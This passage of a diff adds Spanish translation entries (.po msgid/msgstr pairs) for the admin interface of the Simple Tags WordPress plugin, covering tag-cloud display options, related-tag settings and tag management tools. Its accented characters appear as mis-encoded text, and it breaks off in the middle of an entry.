+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:430
+#: /2.7/inc/simple-tags.admin.php:493
+msgid "Related tags type format:"
+msgstr "Tipo de formato de etiquetas relacionadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:389
+#: /2.3/inc/simple-tags.admin.php:409
+#: /2.3/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:488
+#: /2.7/inc/simple-tags.admin.php:495
+#: /2.7/inc/simple-tags.admin.php:515
+#: /2.7/inc/simple-tags.admin.php:551
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; Mostrar una lista formateada (ul/li)."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:390
+#: /2.3/inc/simple-tags.admin.php:410
+#: /2.3/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:433
+#: /2.5/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:489
+#: /2.7/inc/simple-tags.admin.php:496
+#: /2.7/inc/simple-tags.admin.php:516
+#: /2.7/inc/simple-tags.admin.php:552
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; Mostra en lÃ­nea (sin lista, sÃ³lo un div)."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:392
+#: /2.5/inc/simple-tags.admin.php:435
+#: /2.7/inc/simple-tags.admin.php:498
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "MÃ©todo de intersecciones de etiquetas y uniones usado para construir enlace de relacionadas:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:394
+#: /2.5/inc/simple-tags.admin.php:437
+#: /2.7/inc/simple-tags.admin.php:500
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; Coge entradas que tengan tanto la  etiqueta \"Etiqueta1\" <strong>o</strong> la \"Etiqueta2\" . (predeterminado)"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:395
+#: /2.5/inc/simple-tags.admin.php:438
+#: /2.7/inc/simple-tags.admin.php:501
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; Coge entradas que tengan la etiqueta \"Etiqueta1\" <strong>y</strong> la \"Etiqueta2\"."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:397
+#: /2.5/inc/simple-tags.admin.php:440
+#: /2.7/inc/simple-tags.admin.php:503
+msgid "Related tags link format:"
+msgstr "Formato de enlace de etiquetas relacionadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:399
+#: /2.5/inc/simple-tags.admin.php:442
+#: /2.7/inc/simple-tags.admin.php:505
+msgid "Related tags separator:"
+msgstr "Separador de etiquetas relacionadas:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:400
+#: /2.3/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:456
+#: /2.7/inc/simple-tags.admin.php:506
+#: /2.7/inc/simple-tags.admin.php:519
+msgid "Leave empty for list format."
+msgstr "DÃ©jalo vacÃ­o para formato de lista."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:401
+#: /2.5/inc/simple-tags.admin.php:444
+#: /2.7/inc/simple-tags.admin.php:507
+msgid "Enter the text to show when there is no related tags:"
+msgstr "Introduce el texto a mostrar cuando no hay etiquetas relacionadas:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:404
+#: /2.5/inc/simple-tags.admin.php:447
+#: /2.7/inc/simple-tags.admin.php:510
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Puedes usar la misma sintaxis que en la funciÃ³n <code>st_related_tags()</code> para personalizar la visualizaciÃ³n. Consulta la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentaciÃ³n</a> para mÃ¡s detalles."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:406
+#: /2.5/inc/simple-tags.admin.php:449
+#: /2.7/inc/simple-tags.admin.php:512
+msgid "Remove related Tags"
+msgstr "Eliminar etiquetas relacionadas"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:407
+#: /2.5/inc/simple-tags.admin.php:450
+#: /2.7/inc/simple-tags.admin.php:513
+msgid "Remove related Tags type format:"
+msgstr "Eliminar tipo de formato de etiquetas relacionadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:412
+#: /2.5/inc/simple-tags.admin.php:455
+#: /2.7/inc/simple-tags.admin.php:518
+msgid "Remove related tags separator:"
+msgstr "Eliminar separador de etiquetas relacionadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:414
+#: /2.5/inc/simple-tags.admin.php:457
+#: /2.7/inc/simple-tags.admin.php:520
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "Introduce el texto a mostrar cuando no hay etiquetas relacioandas que eliminar:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:415
+#: /2.5/inc/simple-tags.admin.php:458
+#: /2.7/inc/simple-tags.admin.php:521
+msgid "Remove related tags  link format:"
+msgstr "Eliminar formato de enlace de etiquetas relacionadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:419
+#: /2.5/inc/simple-tags.admin.php:462
+#: /2.7/inc/simple-tags.admin.php:525
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "Â¿QuÃ© diferencia hay entre <strong>&#8216;Orden selecciÃ³n de etiquetas&#8217;</strong> y <strong>&#8216;Orden visualizaciÃ³n de etiquetas&#8217;</strong> ?<br />"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:421
+#: /2.5/inc/simple-tags.admin.php:464
+#: /2.7/inc/simple-tags.admin.php:527
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>&#8216;Orden selecciÃ³n de etiquetas&#8217;</strong> es el primer paso durante la generaciÃ³n de la nube de etiquetas, correspondiente a la recopilaciÃ³n de etiquetas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:422
+#: /2.5/inc/simple-tags.admin.php:465
+#: /2.7/inc/simple-tags.admin.php:528
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>&#8216;Orden visualizaciÃ³n de etiquetas&#8217;</strong> es el segundo. Una vez elegidas las etiquetas, puedes reordenarlas antes de mostrarlas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:467
+#: /2.7/inc/simple-tags.admin.php:530
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>Ejemplo:</strong> Quieres mostrar aleatoriamente las 100 etiquetas mÃ¡s populares.<br />"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:468
+#: /2.7/inc/simple-tags.admin.php:531
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "Debes fijar &#8216;Orden selecciÃ³n de etiquetas&#8217; a <strong>contador-desc</strong> para obtener las 100 etiquetas mÃ¡s populares y &#8216;Orden visualizaciÃ³n de etiquetas&#8217; a <strong>aleatorio</strong> para generar la nube aleatoriamente."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:469
+#: /2.7/inc/simple-tags.admin.php:532
+msgid "Order tags selection:"
+msgstr "Orden selecciÃ³n de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:434
+#: /2.3/inc/simple-tags.widgets.php:167
+#: /2.5/inc/simple-tags.admin.php:477
+#: /2.5/inc/simple-tags.widgets.php:155
+#: /2.7/inc/simple-tags.admin.php:540
+#: /2.7/inc/simple-tags.widgets.php:155
+msgid "Order tags display:"
+msgstr "Orden visualizaciÃ³n de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:437
+#: /2.5/inc/simple-tags.admin.php:480
+#: /2.7/inc/simple-tags.admin.php:543
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>countador-desc</code> &ndash; La mÃ¡s popular."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:440
+#: /2.5/inc/simple-tags.admin.php:483
+#: /2.7/inc/simple-tags.admin.php:546
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>aleatorio</code> &ndash; Aleatorio. (predeterminado)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:442
+#: /2.5/inc/simple-tags.admin.php:485
+#: /2.7/inc/simple-tags.admin.php:548
+msgid "Include categories in tag cloud ?"
+msgstr "Â¿Incluir categorÃ­as en la nube de etiquetas?"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:486
+#: /2.7/inc/simple-tags.admin.php:549
+msgid "Tags cloud type format:"
+msgstr "Tipo de formato de nube de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:450
+#: /2.5/inc/simple-tags.admin.php:493
+#: /2.7/inc/simple-tags.admin.php:556
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "NÃºmero mÃ¡ximo de etiquetas a mostrar: (predeterminado: 45)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:451
+#: /2.5/inc/simple-tags.admin.php:494
+#: /2.7/inc/simple-tags.admin.php:557
+msgid "Enter the text to show when there is no tag:"
+msgstr "Introduce el texto a mostrar cuando no hay etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:496
+#: /2.7/inc/simple-tags.admin.php:559
+msgid "Most popular color:"
+msgstr "Color de mÃ¡s popular:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:454
+#: /2.5/inc/simple-tags.admin.php:497
+#: /2.7/inc/simple-tags.admin.php:560
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "Los colores deben ponerse en hexadecimal, y necesitan tener los seis dÃ­gitos completos (#eee es la abreviatura de #eeeeee)."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:455
+#: /2.5/inc/simple-tags.admin.php:498
+#: /2.7/inc/simple-tags.admin.php:561
+msgid "Least popular color:"
+msgstr "Color de menos popular:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:456
+#: /2.5/inc/simple-tags.admin.php:499
+#: /2.7/inc/simple-tags.admin.php:562
+msgid "Most popular font size:"
+msgstr "TamaÃ±o fuente mÃ¡s popular:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:457
+#: /2.5/inc/simple-tags.admin.php:500
+#: /2.7/inc/simple-tags.admin.php:563
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "Los dos tamaÃ±os de fuentes son los tamaÃ±os de las etiquetas mÃ¡s grandes y mÃ¡s pequeÃ±as."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:458
+#: /2.5/inc/simple-tags.admin.php:501
+#: /2.7/inc/simple-tags.admin.php:564
+msgid "Least popular font size:"
+msgstr "TamaÃ±o fuente menos popular:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:502
+#: /2.7/inc/simple-tags.admin.php:565
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "Unidad para visualizar los tamaÃ±os de fuente en las nubes de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:460
+#: /2.5/inc/simple-tags.admin.php:503
+#: /2.7/inc/simple-tags.admin.php:566
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "La opciÃ³n de la unidad del tamaÃ±o de fuente determina la unidad de tamaÃ±o que usarÃ¡n las dos fuentes."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:462
+#: /2.5/inc/simple-tags.admin.php:505
+#: /2.7/inc/simple-tags.admin.php:568
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Puedes usar la misma sintaxis que en la funciÃ³n <code>st_tag_cloud()</code> para personalizar la visualizaciÃ³n. Consulta la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentaciÃ³n</a> para mÃ¡s detalles."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:476
+#: /2.5/inc/simple-tags.admin.php:519
+#: /2.7/inc/simple-tags.admin.php:582
+msgid "Options saved"
+msgstr "Opciones guardadas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:480
+#: /2.5/inc/simple-tags.admin.php:523
+#: /2.7/inc/simple-tags.admin.php:586
+msgid "Simple Tags options resetted to default options!"
+msgstr "Â¡Las opciones de Simple Tags se han reiniciado a sus valores predeterminados!"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:486
+#: /2.5/inc/simple-tags.admin.php:529
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "Â¡Todas las opciones de Simple Tags estÃ¡n borradas!. Â¡Ahora puedes <a href=\"%s\">desactivar la extensiÃ³n</a>!."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:526
+#: /2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr "Actualizar opciones &raquo;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:564
+#: /2.7/inc/simple-tags.admin.php:597
+#: /2.7/inc/simple-tags.admin.php:611
+msgid "Do you really want to restore the default options?"
+msgstr "Â¿Realmente quieres restaurar las opciones predeterminadas?"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:564
+#: /2.7/inc/simple-tags.admin.php:597
+#: /2.7/inc/simple-tags.admin.php:611
+msgid "Reset Options"
+msgstr "Reiniciar opciones"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:534
+#: /2.5/inc/simple-tags.admin.php:548
+msgid "Uninstallation"
+msgstr "DesinstalaciÃ³n"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:554
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr "Generalmente, desactivar esta extensiÃ³n no borra ninguno de sus datos, si te gustarÃ­a dejar de usar Simple Tags, por favor borra <strong>todas</strong> las opciones antes de desactivar la extensiÃ³n."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:555
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "Esto borra todas la opciones de Simple Tags. <strong>Â¡Esto es irrevocable!. Ten cuidado.</strong>"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:544
+#: /2.5/inc/simple-tags.admin.php:558
+msgid "Delete all options ?"
+msgstr "Â¿Borrar todas las opciones?"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:568
+#: /2.3/inc/simple-tags.admin.php:1714
+#: /2.5/inc/simple-tags.admin.php:580
+#: /2.5/inc/simple-tags.admin.php:1751
+#: /2.7/inc/simple-tags.admin.php:627
+#: /2.7/inc/simple-tags.admin.php:1725
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "Problema de seguridad. IntÃ©ntalo de nuevo. Si persiste este problema, contacta con <a href=\"mailto:amaury@wordpress-fr.net\">el autor del plugin</a>."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:601
+#: /2.3/inc/simple-tags.widgets.php:171
+#: /2.5/inc/simple-tags.admin.php:613
+#: /2.5/inc/simple-tags.widgets.php:159
+#: /2.7/inc/simple-tags.admin.php:660
+#: /2.7/inc/simple-tags.widgets.php:159
+msgid "Most popular"
+msgstr "MÃ¡s popular"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:602
+#: /2.3/inc/simple-tags.widgets.php:161
+#: /2.3/inc/simple-tags.widgets.php:172
+#: /2.5/inc/simple-tags.admin.php:614
+#: /2.5/inc/simple-tags.widgets.php:149
+#: /2.5/inc/simple-tags.widgets.php:160
+#: /2.7/inc/simple-tags.admin.php:661
+#: /2.7/inc/simple-tags.widgets.php:149
+#: /2.7/inc/simple-tags.widgets.php:160
+msgid "Least used"
+msgstr "Menos usada"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:603
+#: /2.3/inc/simple-tags.widgets.php:158
+#: /2.3/inc/simple-tags.widgets.php:169
+#: /2.5/inc/simple-tags.admin.php:615
+#: /2.5/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:157
+#: /2.7/inc/simple-tags.admin.php:662
+#: /2.7/inc/simple-tags.widgets.php:146
+#: /2.7/inc/simple-tags.widgets.php:157
+msgid "Alphabetical"
+msgstr "AlfabÃ©ticamente"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:634
+#: /2.5/inc/simple-tags.admin.php:646
+#: /2.7/inc/simple-tags.admin.php:693
+msgid "Existing Tags"
+msgstr "Etiquetas existentes"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:638
+#: /2.5/inc/simple-tags.admin.php:650
+#: /2.7/inc/simple-tags.admin.php:697
+msgid "Search tags"
+msgstr "Buscar etiquetas"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:642
+#: /2.5/inc/simple-tags.admin.php:654
+#: /2.7/inc/simple-tags.admin.php:701
+msgid "Go"
+msgstr "Ir"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:645
+#: /2.5/inc/simple-tags.admin.php:658
+#: /2.7/inc/simple-tags.admin.php:705
+msgid "Sort Order:"
+msgstr "Ordenar por:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:660
+#: /2.3/inc/simple-tags.admin.php:1844
+#: /2.5/inc/simple-tags.admin.php:676
+#: /2.5/inc/simple-tags.admin.php:1880
+#: /2.7/inc/simple-tags.admin.php:723
+#: /2.7/inc/simple-tags.admin.php:1847
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "Ver todas las entradas etiquetadas con %s"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1859
+#: /2.3/inc/simple-tags.admin.php:1861
+#: /2.5/inc/simple-tags.admin.php:684
+#: /2.5/inc/simple-tags.admin.php:1895
+#: /2.5/inc/simple-tags.admin.php:1897
+#: /2.7/inc/simple-tags.admin.php:731
+#: /2.7/inc/simple-tags.admin.php:1862
+#: /2.7/inc/simple-tags.admin.php:1864
+msgid "Previous tags"
+msgstr "Etiquetas anteriores"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1865
+#: /2.3/inc/simple-tags.admin.php:1867
+#: /2.5/inc/simple-tags.admin.php:684
+#: /2.5/inc/simple-tags.admin.php:1901
+#: /2.5/inc/simple-tags.admin.php:1903
+#: /2.7/inc/simple-tags.admin.php:731
+#: /2.7/inc/simple-tags.admin.php:1868
+#: /2.7/inc/simple-tags.admin.php:1870
+msgid "Next tags"
+msgstr "Siguientes etiquetas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:679
+#: /2.5/inc/simple-tags.admin.php:691
+#: /2.7/inc/simple-tags.admin.php:738
+msgid "Rename Tag"
+msgstr "Renombrar etiqueta"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:680
+#: /2.5/inc/simple-tags.admin.php:699
+#: /2.7/inc/simple-tags.admin.php:746
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "Introduce la etiqueta a renombrar y su nuevo valor. TambiÃ©n puedes usar esta funciÃ³n para combinar etiquetas. Haz clic en \"Renombrar\" y todas las entradas que usen esta etiqueta serÃ¡n actualizadas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:681
+#: /2.3/inc/simple-tags.admin.php:722
+#: /2.5/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:774
+#: /2.7/inc/simple-tags.admin.php:747
+#: /2.7/inc/simple-tags.admin.php:821
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "Puedes especificar mÃºltiples etiquetas a renombrar separÃ¡ndolas con comas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:686
+#: /2.5/inc/simple-tags.admin.php:704
+#: /2.7/inc/simple-tags.admin.php:751
+msgid "Tag(s) to rename:"
+msgstr "Etiqueta(s) a renombrar:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:687
+#: /2.5/inc/simple-tags.admin.php:708
+#: /2.7/inc/simple-tags.admin.php:755
+msgid "New tag name(s):"
+msgstr "Nombre de nueva(s) etiqueta(s):"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:688
+#: /2.5/inc/simple-tags.admin.php:711
+#: /2.7/inc/simple-tags.admin.php:758
+msgid "Rename"
+msgstr "Renombrar"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:693
+#: /2.5/inc/simple-tags.admin.php:717
+#: /2.7/inc/simple-tags.admin.php:764
+msgid "Delete Tag"
+msgstr "Borrar etiqueta"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:694
+#: /2.5/inc/simple-tags.admin.php:725
+#: /2.7/inc/simple-tags.admin.php:772
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "Introduce el nombre de la etiqueta a borrar. Esta etiqueta se eliminarÃ¡ de todas las entradas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:695
+#: /2.5/inc/simple-tags.admin.php:726
+#: /2.7/inc/simple-tags.admin.php:773
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "Puedes especificar mÃºltiples etiquetas a borrar separÃ¡ndolas con comas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:730
+#: /2.7/inc/simple-tags.admin.php:777
+msgid "Tag(s) to delete:"
+msgstr "Etiqueta(s) a borrar:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:701
+#: /2.5/inc/simple-tags.admin.php:733
+#: /2.7/inc/simple-tags.admin.php:780
+msgid "Delete"
+msgstr "Borrar"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:706
+#: /2.5/inc/simple-tags.admin.php:739
+#: /2.7/inc/simple-tags.admin.php:786
+msgid "Add Tag"
+msgstr "AÃ±adir etiqueta"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:707
+#: /2.5/inc/simple-tags.admin.php:747
+#: /2.7/inc/simple-tags.admin.php:794
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "Esta funciÃ³n te permite aÃ±adir una o mÃ¡s nuevas etiquetas a todas las entradas que coincidan con cualquiera de las etiquetas dadas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:708
+#: /2.5/inc/simple-tags.admin.php:748
+#: /2.7/inc/simple-tags.admin.php:795
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "Puedes especificar mÃºtiples etiquetas a aÃ±adir separÃ¡ndolas con comas. Si quieres que las etiquetas sean aÃ±adidas a todas las entradas, entonces no especifiques ninguna etiqueta con la que coincidir."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:713
+#: /2.3/inc/simple-tags.admin.php:728
+#: /2.5/inc/simple-tags.admin.php:752
+#: /2.5/inc/simple-tags.admin.php:778
+#: /2.7/inc/simple-tags.admin.php:799
+#: /2.7/inc/simple-tags.admin.php:825
+msgid "Tag(s) to match:"
+msgstr "Etiqueta(s) a encontrar:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:714
+#: /2.5/inc/simple-tags.admin.php:756
+#: /2.7/inc/simple-tags.admin.php:803
+msgid "Tag(s) to add:"
+msgstr "Etiqueta(s) a aÃ±adir:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:715
+#: /2.5/inc/simple-tags.admin.php:759
+#: /2.7/inc/simple-tags.admin.php:806
+msgid "Add"
+msgstr "AÃ±adir"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:720
+#: /2.5/inc/simple-tags.admin.php:765
+#: /2.7/inc/simple-tags.admin.php:812
+msgid "Edit Tag Slug"
+msgstr "Editar identificador de etiqueta"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:721
+#: /2.5/inc/simple-tags.admin.php:773
+#: /2.7/inc/simple-tags.admin.php:820
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "Introduce el nombre de la etiqueta a editar y su nuevo identificador. <a href=\"http://codex.wordpress.org/Glossary#Slug\">DefiniciÃ³n de identificador</a>"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:732
+#: /2.5/inc/simple-tags.admin.php:782
+#: /2.7/inc/simple-tags.admin.php:829
+msgid "Slug(s) to set:"
+msgstr "Identificador(es) a fijar:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:737
+#: /2.3/inc/simple-tags.admin.php:916
+#: /2.5/inc/simple-tags.admin.php:785
+#: /2.5/inc/simple-tags.admin.php:1050
+#: /2.7/inc/simple-tags.admin.php:832
+#: /2.7/inc/simple-tags.admin.php:1065
+msgid "Edit"
+msgstr "Editar"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:743
+#: /2.5/inc/simple-tags.admin.php:791
+#: /2.7/inc/simple-tags.admin.php:838
+msgid "Remove empty terms"
+msgstr "Eliminar tÃ©rminos vacÃ­os"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:744
+#: /2.5/inc/simple-tags.admin.php:799
+#: /2.7/inc/simple-tags.admin.php:846
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 tiene un pequeÃ±o fallo y puede crear tÃ©rminos vacÃ­os. Â¡ElimÃ­nalos!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:748
+#: /2.5/inc/simple-tags.admin.php:800
+#: /2.7/inc/simple-tags.admin.php:847
+msgid "Clean !"
+msgstr "Â¡Limpiar!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "Buscar tÃ©rminos&hellip;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:854
+#: /2.5/inc/simple-tags.admin.php:1020
+#: /2.7/inc/simple-tags.admin.php:1026
+msgid "Quantity&hellip;"
+msgstr "Cantidad&hellip;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "Autor&hellip;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "Cualquiera"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "Tipo&hellip;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "Entrada"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "PÃ¡gina"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "Orden&hellip;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "Fecha (descendente)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "Fecha (ascendente)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
